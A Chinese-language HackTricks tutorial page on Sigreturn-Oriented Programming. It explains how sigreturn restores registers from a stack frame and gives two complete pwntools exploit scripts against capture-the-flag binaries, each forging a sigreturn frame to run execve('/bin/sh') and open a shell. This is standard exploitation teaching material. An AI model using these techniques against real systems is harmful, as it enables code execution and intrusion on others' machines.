SROP - Sigreturn-Oriented Programming

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

基本信息

Sigreturn 是一个特殊的系统调用,主要用于在信号处理程序完成执行后进行清理。信号是操作系统发送给程序的中断,通常用于指示发生了某些异常情况。当程序接收到信号时,它会暂时暂停当前工作,使用信号处理程序(专门设计用于处理信号的特殊函数)来处理信号。

信号处理程序完成后,程序需要恢复其先前状态,就好像什么都没有发生一样。这就是**sigreturn发挥作用的地方。它帮助程序从信号处理程序返回**,通过清理被信号处理程序使用的栈帧(存储函数调用和局部变量的内存部分)来恢复程序的状态。

有趣的部分是**sigreturn如何恢复程序的状态:它通过将CPU的所有寄存器值存储在栈上来实现。当信号不再被阻塞时,sigreturn从栈中弹出这些值**,有效地将CPU的寄存器重置为处理信号之前的状态。这包括栈指针寄存器(RSP),它指向栈的当前顶部。

从ROP链中调用系统调用**sigreturn,并在添加要加载的寄存器值**,可以控制所有寄存器值,从而例如调用系统调用execve并执行/bin/sh

请注意,这将是一种更容易控制参数以调用其他Ret2syscalls的Ret2syscall类型:

Ret2syscall

如果您感兴趣,这是存储在栈中以后恢复值的sigcontext结构(来自这里的图表):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

为了更好地解释,请查看:

示例

您可以在这里找到一个示例,其中通过ROP构造了对signeturn的调用(将rxa中的值设置为0xf),尽管这是从那里得到的最终利用:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

请查看这里的漏洞,二进制文件已经在调用sigreturn,因此不需要使用ROP构建它:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

其他示例和参考资料

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

最后更新于